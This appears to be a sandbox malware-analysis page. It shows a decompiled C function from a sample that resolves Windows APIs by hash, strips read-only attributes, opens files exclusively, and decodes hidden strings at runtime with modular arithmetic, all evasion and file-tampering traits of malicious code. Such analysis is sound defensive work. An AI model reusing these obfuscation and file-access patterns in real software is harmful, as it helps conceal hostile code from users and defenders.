f2dd88-f2dd8a 297->302 306 f2e740-f2e76a 299->306 317 f2e798-f2e79b 300->317 320 f2ddd0-f2dde4 call f222a0 301->320 321 f2dde7-f2ddff 301->321 308 f2dd90-f2ddb2 302->308 318 f2e400 304->318 319 f2e428-f2e44c call f2fdd0 call f37a82 304->319 305->304 306->300 306->306 308->301 308->308 322 f2e402-f2e426 318->322 320->321 321->262 329 f2de05-f2de0f 321->329 322->319 322->322 331 f2de11-f2de25 call f222a0 329->331 332 f2de28-f2e063 329->332 331->332 336 f2e065-f2e067 332->336 337 f2e09a-f2e0c0 call f2fdd0 call f37a82 332->337 338 f2e070-f2e098 336->338 338->337 338->338
    C-Code - Quality: 70%
    			E00F2D670(void* __ebx, WCHAR** __ecx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v350;
				char _v351;
				char _v352;
				char _v353;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v361;
				char _v362;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v369;
				char _v370;
				char _v371;
				char _v372;
				char _v373;
				char _v374;
				char _v375;
				char _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				char _v381;
				char _v382;
				char _v383;
				char _v384;
				char _v385;
				char _v386;
				char _v387;
				char _v388;
				char _v389;
				char _v390;
				char _v391;
				char _v392;
				char _v393;
				char _v394;
				char _v395;
				char _v396;
				char _v397;
				char _v398;
				char _v399;
				char _v400;
				char _v401;
				char _v402;
				char _v403;
				char _v404;
				char _v405;
				char _v406;
				char _v407;
				char _v408;
				char _v409;
				char _v410;
				char _v411;
				char _v412;
				char _v413;
				char _v414;
				char _v415;
				char _v416;
				char _v417;
				char _v418;
				char _v419;
				char _v420;
				char _v421;
				char _v422;
				char _v423;
				char _v424;
				char _v425;
				char _v426;
				char _v427;
				char _v428;
				char _v429;
				char _v430;
				char _v431;
				char _v432;
				char _v433;
				char _v434;
				char _v435;
				char _v436;
				char _v437;
				char _v438;
				char _v439;
				char _v440;
				char _v441;
				char _v442;
				char _v443;
				char _v444;
				char _v445;
				char _v446;
				char _v447;
				char _v448;
				char _v449;
				char _v450;
				char _v451;
				char _v452;
				char _v453;
				char _v454;
				char _v455;
				char _v456;
				char _v457;
				char _v458;
				char _v459;
				char _v460;
				char _v468;
				char _v469;
				char _v470;
				char _v471;
				char _v472;
				char _v473;
				char _v474;
				char _v475;
				char _v476;
				char _v477;
				char _v478;
				char _v479;
				char _v480;
				char _v481;
				char _v482;
				char _v483;
				char _v484;
				char _v485;
				char _v486;
				char _v487;
				char _v488;
				char _v489;
				char _v490;
				char _v491;
				char _v492;
				char _v493;
				char _v494;
				char _v495;
				char _v496;
				char _v497;
				char _v498;
				char _v499;
				char _v500;
				char _v501;
				char _v502;
				char _v503;
				char _v504;
				char _v505;
				char _v506;
				char _v507;
				char _v508;
				char _v509;
				char _v510;
				char _v511;
				char _v512;
				char _v513;
				char _v514;
				char _v515;
				char _v516;
				char _v517;
				char _v518;
				char _v519;
				char _v520;
				char _v521;
				char _v522;
				char _v523;
				char _v524;
				char _v525;
				char _v526;
				char _v527;
				char _v528;
				char _v529;
				char _v530;
				char _v531;
				char _v532;
				char _v533;
				char _v534;
				char _v535;
				char _v536;
				char _v537;
				char _v538;
				char _v539;
				char _v540;
				char _v541;
				char _v542;
				char _v543;
				char _v544;
				char _v545;
				char _v546;
				char _v547;
				char _v548;
				char _v549;
				char _v550;
				char _v551;
				char _v552;
				char _v553;
				char _v554;
				char _v555;
				char _v556;
				signed int _t647;
				intOrPtr _t649;
				long _t651;
				intOrPtr _t652;
				void* _t654;
				intOrPtr _t655;
				intOrPtr* _t656;
				void* _t657;
				intOrPtr _t658;
				intOrPtr* _t659;
				intOrPtr _t661;
				intOrPtr* _t662;
				intOrPtr _t663;
				void* _t684;
				intOrPtr _t685;
				intOrPtr* _t686;
				void* _t687;
				intOrPtr _t703;
				intOrPtr* _t704;
				void* _t705;
				intOrPtr _t706;
				intOrPtr* _t707;
				intOrPtr _t708;
				intOrPtr _t727;
				intOrPtr* _t728;
				intOrPtr _t729;
				intOrPtr _t741;
				intOrPtr _t744;
				intOrPtr _t745;
				long _t747;
				void* _t748;
				void* _t749;
				void* _t750;
				WCHAR* _t751;
				void* _t752;
				void* _t753;
				void* _t754;
				intOrPtr _t762;
				signed int _t763;
				intOrPtr _t767;
				void* _t772;
				intOrPtr _t774;
				intOrPtr _t780;
				intOrPtr _t782;
				intOrPtr _t790;
				intOrPtr _t792;
				intOrPtr _t794;
				intOrPtr _t795;
				intOrPtr _t797;
				intOrPtr _t799;
				signed int _t803;
				WCHAR* _t822;
				WCHAR* _t823;
				WCHAR* _t825;
				WCHAR** _t827;
				signed int _t828;
				void* _t829;
				void* _t831;

				_t647 =  *0xf4a004; // 0x355216d4
				_v8 = _t647 ^ _t828;
				_t649 =  *0xf4c2ec; // 0xddcc10
				_t827 = __ecx;
				_t822 =  *__ecx;
				if( *((intOrPtr*)(_t649 + 0x34)) == 0) {
					_t745 = E00F222A0(__ebx, 0, 0, _t822, __ecx, 0x93afb23a);
					_t799 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t799 + 0x34)) = _t745;
				}
				_t651 = GetFileAttributesW(_t822); // executed
				_t747 = _t651;
				if(_t747 != 0xffffffff && (_t747 & 0x00000001) != 0) {
					_t795 =  *0xf4c2ec; // 0xddcc10
					_t825 =  *_t827;
					if( *((intOrPtr*)(_t795 + 0x38)) == 0) {
						_t744 = E00F222A0(_t747, 0, 0, _t825, _t827, 0xa62cc8e1);
						_t797 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t797 + 0x38)) = _t744;
					}
					SetFileAttributesW(_t825, _t747);
				}
				_t652 =  *0xf4c2ec; // 0xddcc10
				_t823 =  *_t827;
				if( *((intOrPtr*)(_t652 + 0x30)) == 0) {
					_t741 = E00F222A0(_t747, 0, 0, _t823, _t827, 0xf06e87ca);
					_t794 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t794 + 0x30)) = _t741;
				}
				_t654 = CreateFileW(_t823, 0xc0000000, 0, 0, 3, 0, 0); // executed
				_t827[1] = _t654;
				_t655 =  *0xf4c2ec; // 0xddcc10
				_t656 =  *((intOrPtr*)(_t655 + 0x40));
				if(_t656 == 0) {
					_t656 = E00F222A0(_t747, 0, 0, _t823, _t827, 0x1fbbb84f);
					_t792 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t792 + 0x40)) = _t656;
				}
				_t657 =  *_t656();
				if(_t827[1] != 0xffffffff) {
					L39:
					_t658 =  *0xf4c2ec; // 0xddcc10
					_t748 = _t827[1];
					_t659 =  *((intOrPtr*)(_t658 + 0x14));
					if(_t659 == 0) {
						_t659 = E00F222A0(_t748, 0, 0, 0x7f, _t827, 0x1b1acbcc);
						_t767 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t767 + 0x14)) = _t659;
					}
					_push( &_v16);
					_push(_t748);
					if( *_t659() == 0) {
						L44:
						_t661 =  *0xf4c2ec; // 0xddcc10
						_t662 =  *((intOrPtr*)(_t661 + 0x40));
						if(_t662 == 0) {
							_t662 = E00F222A0(_t748, 0, 0, 0x7f, _t827, 0x1fbbb84f);
							_t762 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t762 + 0x40)) = _t662;
						}
						_t663 =  *_t662();
						_v348 = 0;
						_v347 = 0x13;
						_v346 = 0x3a;
						_v345 = 0x66;
						_v344 = 0x3a;
						_v343 = 0x42;
						_v342 = 0x3a;
						_v341 = 0x4d;
						_v340 = 0x3a;
						_v339 = 0x6c;
						_v338 = 0x3a;
						_v337 = 0x1c;
						_v336 = 0x3a;
						_v335 = 0x11;
						_v334 = 0x3a;
						_v333 = 3;
						_v332 = 0x3a;
						_v331 = 0x6c;
						_v330 = 0x3a;
						_v329 = 0x1c;
						_v328 = 0x3a;
						_v327 = 0xa;
						_v326 = 0x3a;
						_v325 = 0x1f;
						_v324 = 0x3a;
						_v323 = 0x34;
						_v322 = 0x3a;
						_v321 = 3;
						_v320 = 0x3a;
						_v319 = 0x1c;
						_v318 = 0x3a;
						_v317 = 0x65;
						_v316 = 0x3a;
						_v315 = 0x1f;
						_v314 = 0x3a;
						_v313 = 0x17;
						_v312 = 0x3a;
						_v311 = 3;
						_v310 = 0x3a;
						_v309 = 0x1c;
						_v308 = 0x3a;
						_v307 = 0x3f;
						_v306 = 0x3a;
						_v305 = 0x65;
						_v304 = 0x3a;
						_v303 = 0x7e;
						_v302 = 0x3a;
						_v301 = 0x1c;
						_v300 = 0x3a;
						_v299 = 0x2f;
						_v298 = 0x3a;
						_v297 = 3;
						_v296 = 0x3a;
						_v295 = 0x6c;
						_v294 = 0x3a;
						_v293 = 0x52;
						_v292 = 0x3a;
						_v291 = 0x66;
						_v290 = 0x3a;
						_v289 = 0x65;
						_v288 = 0x3a;
						_v287 = 0x6c;
						_v286 = 0x3a;
						_v285 = 0x21;
						_v284 = 0x3a;
						_v283 = 0x5e;
						_v282 = 0x3a;
						_v281 = 0x5e;
						_v280 = 0x3a;
						_v279 = 0x49;
						_v278 = 0x3a;
						_v277 = 0x5e;
						_v276 = 0x3a;
						_v275 = 0x1c;
						_v274 = 0x3a;
						_v273 = 0x68;
						_v272 = 0x3a;
						_v271 = 0x1c;
						_v20 = _t663;
						_v270 = 0x3a;
						_v269 = 0x3f;
						_v268 = 0x3a;
						_v267 = 0x34;
						_v266 = 0x3a;
						_v265 = 0x73;
						_v264 = 0x3a;
						_v263 = 0x3a;
						_v262 = 0x3a;
						if(_v348 == 0) {
							_t749 = 0;
							do {
								asm("cdq");
								asm("cdq");
								 *(_t828 + _t749 - 0x157) = ((0x3a - ( *(_t828 + _t749 - 0x157) & 0x000000ff) + 0x1d0 + 0x3a - ( *(_t828 + _t749 - 0x157) & 0x000000ff) + 0x1d0) % 0x7f + 0x7f) % 0x7f;
								_t749 = _t749 + 1;
							} while (_t749 < 0x56);
						}
						E00F2FDD0(_t748, 0x7f, _t827,  &_v347,  *_t827);
						FindCloseChangeNotification(_t827[1]); // executed
						return E00F37A82(_v8 ^ _t828, _v20);
					} else {
						_t763 = _v16;
						_t803 = _v12;
						if((_t763 | _t803) == 0) {
							goto L44;
						} else {
							_t827[2] = _t763;
							_t827[3] = _t803;
							return E00F37A82(_v8 ^ _t828);
						}
					}
				} else {
					if(_t657 == 0x20 || _t657 == 0x21) {
						_v556 = 0;
						_v555 = 0x7c;
						_v554 = 0x6f;
						_v553 = 0x43;
						_v552 = 0x6f;
						_v551 = 0x49;
						_v550 = 0x6f;
						_v549 = 0x3b;
						_v548 = 0x6f;
						_v547 = 0x30;
						_v546 = 0x6f;
						_v545 = 0x3a;
						_v544 = 0x6f;
						_v543 = 0x57;
						_v542 = 0x6f;
						_v541 = 0x30;
						_v540 = 0x6f;
						_v539 = 0x43;
						_v538 = 0x6f;
						_v537 = 0x57;
						_v536 = 0x6f;
						_v535 = 0x30;
						_v534 = 0x6f;
						_v533 = 0x33;
						_v532 = 0x6f;
						_v531 = 0x49;
						_v530 = 0x6f;
						_v529 = 0x55;
						_v528 = 0x6f;
						_v527 = 0x3b;
						_v526 = 0x6f;
						_v525 = 0x33;
						_v524 = 0x6f;
						_v523 = 0x39;
						_v522 = 0x6f;
						_v521 = 0x63;
						_v520 = 0x6f;
						_v519 = 0x30;
						_v518 = 0x6f;
						_v517 = 0x4f;
						_v516 = 0x6f;
						_v515 = 0x51;
						_v514 = 0x6f;
						_v513 = 0x3b;
						_v512 = 0x6f;
						_v511 = 0x4d;
						_v510 = 0x6f;
						_v509 = 0x30;
						_v508 = 0x6f;
						_v507 = 0x35;
						_v506 = 0x6f;
						_v505 = 0x63;
						_v504 = 0x6f;
						_v503 = 0x30;
						_v502 = 0x6f;
						_v501 = 0x33;
						_v500 = 0x6f;
						_v499 = 0x4d;
						_v498 = 0x6f;
						_v497 = 0x4f;
						_v496 = 0x6f;
						_v495 = 0x59;
						_v494 = 0x6f;
						_v493 = 0x41;
						_v492 = 0x6f;
						_v491 = 0x3b;
						_v490 = 0x6f;
						_v489 = 0x55;
						_v488 = 0x6f;
						_v487 = 0x30;
						_v486 = 0x6f;
						_v485 = 0x51;
						_v484 = 0x6f;
						_v483 = 0x55;
						_v482 = 0x6f;
						_v481 = 0x4f;
						_v480 = 0x6f;
						_v479 = 0x3f;
						_v478 = 0x6f;
						_v477 = 0x55;
						_v476 = 0x6f;
						_v475 = 0x33;
						_v474 = 0x6f;
						_v473 = 0x4b;
						_v472 = 0x6f;
						_v471 = 0x4c;
						_v470 = 0x6f;
						_v469 = 0x6f;
						_v468 = 0x6f;
						E00F2FDD0(_t747, 0x7f, _t827, E00F2F040( &_v556),  *_t827);
						_t831 = _t829 + 8; // executed
						_t684 = E00F2C0A0(_t747,  *_t827, 0x7f, _t827); // executed
						if(_t684 == 0) {
							_t685 =  *0xf4c2ec; // 0xddcc10
							_t686 =  *((intOrPtr*)(_t685 + 0x40));
							if(_t686 == 0) {
								_t686 = E00F222A0(_t747, 0, 0, 0x7f, _t827, 0x1fbbb84f);
								_t774 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t774 + 0x40)) = _t686;
							}
							_t687 =  *_t686();
							_v460 = 0;
							_t750 = _t687;
							_v459 = 0x24;
							_v458 = 0xc;
							_v457 = 0x47;
							_v456 = 0xc;
							_v455 = 0xb;
							_v454 = 0xc;
							_v453 = 0xb;
							_v452 = 0xc;
							_v451 = 9;
							_v450 = 0xc;
							_v449 = 0x47;
							_v448 = 0xc;
							_v447 = 0xb;
							_v446 = 0xc;
							_v445 = 0x18;
							_v444 = 0xc;
							_v443 = 0x53;
							_v442 = 0xc;
							_v441 = 0x2d;
							_v440 = 0xc;
							_v439 = 0x62;
							_v438 = 0xc;
							_v437 = 0x18;
							_v436 = 0xc;
							_v435 = 0x12;
							_v434 = 0xc;
							_v433 = 7;
							_v432 = 0xc;
							_v431 = 4;
							_v430 = 0xc;
							_v429 = 0x4e;
							_v428 = 0xc;
							_v427 = 0x12;
							_v426 = 0xc;
							_v425 = 7;
							_v424 = 0xc;
							_v423 = 4;
							_v422 = 0xc;
							_v421 = 0x47;
							_v420 = 0xc;
							_v419 = 0xb;
							_v418 = 0xc;
							_v417 = 0x18;
							_v416 = 0xc;
							_v415 = 7;
							_v414 = 0xc;
							_v413 = 0x22;
							_v412 = 0xc;
							_v411 = 0x7d;
							_v410 = 0xc;
							_v409 = 7;
							_v408 = 0xc;
							_v407 = 1;
							_v406 = 0xc;
							_v405 = 7;
							_v404 = 0xc;
							_v403 = 0x18;
							_v402 = 0xc;
							_v401 = 0x12;
							_v400 = 0xc;
							_v399 = 0x12;
							_v398 = 0xc;
							_v397 = 0x4e;
							_v396 = 0xc;
							_v395 = 0x12;
							_v394 = 0xc;
							_v393 = 0x6c;
							_v392 = 0xc;
							_v391 = 7;
							_v390 = 0xc;
							_v389 = 0x74;
							_v388 = 0xc;
							_v387 = 0x18;
							_v386 = 0xc;
							_v385 = 0x69;
							_v384 = 0xc;
							_v383 = 0x10;
							_v382 = 0xc;
							_v381 = 0x68;
							_v380 = 0xc;
							_v379 = 0x7d;
							_v378 = 0xc;
							_v377 = 0x69;
							_v376 = 0xc;
							_v375 = 0x1d;
							_v374 = 0xc;
							_v373 = 0x12;
							_v372 = 0xc;
							_v371 = 0x12;
							_v370 = 0xc;
							_v369 = 0x4e;
							_v368 = 0xc;
							_v367 = 0x12;
							_v366 = 0xc;
							_v365 = 7;
							_v364 = 0xc;
							_v363 = 0x3e;
							_v362 = 0xc;
							_v361 = 7;
							_v360 = 0xc;
							_v359 = 0x22;
							_v358 = 0xc;
							_v357 = 0xb;
							_v356 = 0xc;
							_v355 = 0x55;
							_v354 = 0xc;
							_v353 = 0x6c;
							_v352 = 0xc;
							_v351 = 0xc;
							_v350 = 0xc;
							if(_v460 == 0) {
								_t772 = 0;
								do {
									asm("cdq");
									asm("cdq");
									 *(_t828 + _t772 - 0x1c7) = ((( *(_t828 + _t772 - 0x1c7) & 0x000000ff) - 0xc) * 0x13 % 0x7f + 0x7f) % 0x7f;
									_t772 = _t772 + 1;
								} while (_t772 < 0x6e);
							}
							E00F2FDD0(_t750, 0x7f, _t827,  &_v459,  *_t827);
							return E00F37A82(_v8 ^ _t828, _t750);
						} else {
							_v100 = 0;
							_v99 = 7;
							_v98 = 0x24;
							_v97 = 0x61;
							_v96 = 0x24;
							_v95 = 0x6a;
							_v94 = 0x24;
							_v93 = 0x6a;
							_v92 = 0x24;
							_v91 = 0x77;
							_v90 = 0x24;
							_v89 = 0x61;
							_v88 = 0x24;
							_v87 = 0x6a;
							_v86 = 0x24;
							_v85 = 0x55;
							_v84 = 0x24;
							_v83 = 0x13;
							_v82 = 0x24;
							_v81 = 0xc;
							_v80 = 0x24;
							_v79 = 0x70;
							_v78 = 0x24;
							_v77 = 0x55;
							_v76 = 0x24;
							_v75 = 0x7c;
							_v74 = 0x24;
							_v73 = 5;
							_v72 = 0x24;
							_v71 = 0x58;
							_v70 = 0x24;
							_v69 = 0x73;
							_v68 = 0x24;
							_v67 = 0x7c;
							_v66 = 0x24;
							_v65 = 5;
							_v64 = 0x24;
							_v63 = 0x58;
							_v62 = 0x24;
							_v61 = 0x61;
							_v60 = 0x24;
							_v59 = 0x6a;
							_v58 = 0x24;
							_v57 = 0x55;
							_v56 = 0x24;
							_v55 = 5;
							_v54 = 0x24;
							_v53 = 0x14;
							_v52 = 0x24;
							_v51 = 0;
							_v50 = 0x24;
							_v49 = 5;
							_v48 = 0x24;
							_v47 = 0x2c;
							_v46 = 0x24;
							_v45 = 5;
							_v44 = 0x24;
							_v43 = 0;
							_v42 = 0x24;
							_v41 = 6;
							_v40 = 0x24;
							_v39 = 0x4f;
							_v38 = 0x24;
							_v37 = 0x4f;
							_v36 = 0x24;
							_v35 = 0x55;
							_v34 = 0x24;
							_v33 = 0;
							_v32 = 0x24;
							_v31 = 0;
							_v30 = 0x24;
							_v29 = 0x24;
							_v28 = 0x24;
							if(_v100 == 0) {
								_t753 = 0;
								asm("o16 nop [eax+eax]");
								do {
									asm("cdq");
									asm("cdq");
									 *(_t828 + _t753 - 0x5f) = ((0x24 - ( *(_t828 + _t753 - 0x5f) & 0x000000ff)) * 0x2a % 0x7f + 0x7f) % 0x7f;
									_t753 = _t753 + 1;
								} while (_t753 < 0x48);
							}
							E00F2FDD0(_t747, 0x7f, _t827,  &_v99,  *_t827);
							_t703 =  *0xf4c2ec; // 0xddcc10
							_t829 = _t831 + 8;
							_t751 =  *_t827;
							_t704 =  *((intOrPtr*)(_t703 + 0x30));
							if(_t704 == 0) {
								_t704 = E00F222A0(_t751, 0, 0, 0x7f, _t827, 0xf06e87ca);
								_t782 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t782 + 0x30)) = _t704;
							}
							_t705 =  *_t704(_t751, 0xc0000000, 0, 0, 3, 0, 0);
							_t827[1] = _t705;
							if(_t705 != 0xffffffff) {
								goto L39;
							} else {
								_t706 =  *0xf4c2ec; // 0xddcc10
								_t707 =  *((intOrPtr*)(_t706 + 0x40));
								if(_t707 == 0) {
									_t707 = E00F222A0(_t751, 0, 0, 0x7f, _t827, 0x1fbbb84f);
									_t780 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t780 + 0x40)) = _t707;
								}
								_t708 =  *_t707();
								_v260 = 0;
								_v259 = 0x6f;
								_v258 = 0x73;
								_v257 = 0x71;
								_v256 = 0x73;
								_v255 = 0x50;
								_v254 = 0x73;
								_v253 = 0x10;
								_v252 = 0x73;
								_v251 = 0x37;
								_v250 = 0x73;
								_v249 = 0x18;
								_v248 = 0x73;
								_v247 = 0x61;
								_v246 = 0x73;
								_v245 = 0x72;
								_v244 = 0x73;
								_v243 = 0x36;
								_v242 = 0x73;
								_v241 = 0x50;
								_v240 = 0x73;
								_v239 = 0x18;
								_v238 = 0x73;
								_v237 = 0x47;
								_v236 = 0x73;
								_v235 = 0x7a;
								_v234 = 0x73;
								_v233 = 0x2e;
								_v232 = 0x73;
								_v231 = 0x36;
								_v230 = 0x73;
								_v229 = 0x18;
								_v228 = 0x73;
								_v227 = 0x6d;
								_v226 = 0x73;
								_v225 = 0x26;
								_v224 = 0x73;
								_v223 = 8;
								_v222 = 0x73;
								_v221 = 0x18;
								_v220 = 0x73;
								_v219 = 0x34;
								_v218 = 0x73;
								_v217 = 0x36;
								_v216 = 0x73;
								_v215 = 0x37;
								_v214 = 0x73;
								_v213 = 0xa;
								_v212 = 0x73;
								_v211 = 0x71;
								_v210 = 0x73;
								_v209 = 0x26;
								_v208 = 0x73;
								_v207 = 0x37;
								_v206 = 0x73;
								_v205 = 0x12;
								_v204 = 0x73;
								_v203 = 0x15;
								_v202 = 0x73;
								_v201 = 0x15;
								_v200 = 0x73;
								_v199 = 0x61;
								_v198 = 0x73;
								_v197 = 0x15;
								_v196 = 0x73;
								_v195 = 0x18;
								_v194 = 0x73;
								_v193 = 9;
								_v192 = 0x73;
								_v191 = 0x18;
								_v190 = 0x73;
								_v189 = 0x6d;
								_v188 = 0x73;
								_v187 = 0x2e;
								_v186 = 0x73;
								_v185 = 0x48;
								_v184 = 0x73;
								_v183 = 0x73;
								_v20 = _t708;
								_v182 = 0x73;
								if(_v260 == 0) {
									_t752 = 0;
									asm("o16 nop [eax+eax]");
									do {
										asm("cdq");
										asm("cdq");
										 *(_t828 + _t752 - 0xff) = (((( *(_t828 + _t752 - 0xff) & 0x000000ff) - 0x73 << 4) - ( *(_t828 + _t752 - 0xff) & 0x000000ff) - 0x73) % 0x7f + 0x7f) % 0x7f;
										_t752 = _t752 + 1;
									} while (_t752 < 0x4e);
								}
								E00F2FDD0(_t751, 0x7f, _t827,  &_v259,  *_t827);
								return E00F37A82(_v8 ^ _t828, _v20);
							}
						}
					} else {
						_t727 =  *0xf4c2ec; // 0xddcc10
						_t728 =  *((intOrPtr*)(_t727 + 0x40));
						if(_t728 == 0) {
							_t728 = E00F222A0(_t747, 0, 0, 0x7f, _t827, 0x1fbbb84f);
							_t790 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t790 + 0x40)) = _t728;
						}
						_t729 =  *_t728();
						_v180 = 0;
						_v179 = 0x79;
						_v178 = 0x15;
						_v177 = 0x47;
						_v176 = 0x15;
						_v175 = 7;
						_v174 = 0x15;
						_v173 = 0x53;
						_v172 = 0x15;
						_v171 = 0x7c;
						_v170 = 0x15;
						_v169 = 0xa;
						_v168 = 0x15;
						_v167 = 0x5a;
						_v166 = 0x15;
						_v165 = 0x2e;
						_v164 = 0x15;
						_v163 = 0x16;
						_v162 = 0x15;
						_v161 = 7;
						_v160 = 0x15;
						_v159 = 0xa;
						_v158 = 0x15;
						_v157 = 0x69;
						_v156 = 0x15;
						_v155 = 0x64;
						_v154 = 0x15;
						_v153 = 0x5f;
						_v152 = 0x15;
						_v151 = 0x16;
						_v150 = 0x15;
						_v149 = 0xa;
						_v148 = 0x15;
						_v147 = 0x2c;
						_v146 = 0x15;
						_v145 = 0x29;
						_v144 = 0x15;
						_v143 = 0x1d;
						_v142 = 0x15;
						_v141 = 0xa;
						_v140 = 0x15;
						_v139 = 0x48;
						_v138 = 0x15;
						_v137 = 0x16;
						_v136 = 0x15;
						_v135 = 0x7c;
						_v134 = 0x15;
						_v133 = 0x6a;
						_v132 = 0x15;
						_v131 = 0x47;
						_v130 = 0x15;
						_v129 = 0x29;
						_v128 = 0x15;
						_v127 = 0x7c;
						_v126 = 0x15;
						_v125 = 0x21;
						_v124 = 0x15;
						_v123 = 0x55;
						_v122 = 0x15;
						_v121 = 0x55;
						_v120 = 0x15;
						_v119 = 0x5a;
						_v118 = 0x15;
						_v117 = 0x55;
						_v116 = 0x15;
						_v115 = 0xa;
						_v114 = 0x15;
						_v113 = 4;
						_v112 = 0x15;
						_v111 = 0xa;
						_v110 = 0x15;
						_v109 = 0x2c;
						_v108 = 0x15;
						_v107 = 0x5f;
						_v106 = 0x15;
						_v105 = 0x50;
						_v104 = 0x15;
						_v103 = 0x15;
						_v20 = _t729;
						_v102 = 0x15;
						if(_v180 == 0) {
							_t754 = 0;
							do {
								asm("cdq");
								asm("cdq");
								 *(_t828 + _t754 - 0xaf) = ((0x15 - ( *(_t828 + _t754 - 0xaf) & 0x000000ff)) * 0x1a % 0x7f + 0x7f) % 0x7f;
								_t754 = _t754 + 1;
							} while (_t754 < 0x4e);
						}
						E00F2FDD0(_t747, 0x7f, _t827,  &_v179,  *_t827);
						return E00F37A82(_v8 ^ _t828, _v20);
					}
				}
			}







































































































































































































































































































































































































































































































































































































    0x00f2d679
    0x00f2d680
    0x00f2d683
    0x00f2d68a
    0x00f2d690
    0x00f2d694
    0x00f2d69f
    0x00f2d6a4
    0x00f2d6aa
    0x00f2d6aa
    0x00f2d6ae
    0x00f2d6b0
    0x00f2d6b5
    0x00f2d6bc
    0x00f2d6c2
    0x00f2d6c9
    0x00f2d6d4
    0x00f2d6d9
    0x00f2d6df
    0x00f2d6df
    0x00f2d6e7
    0x00f2d6e7
    0x00f2d6e9
    0x00f2d6ee
    0x00f2d6f5
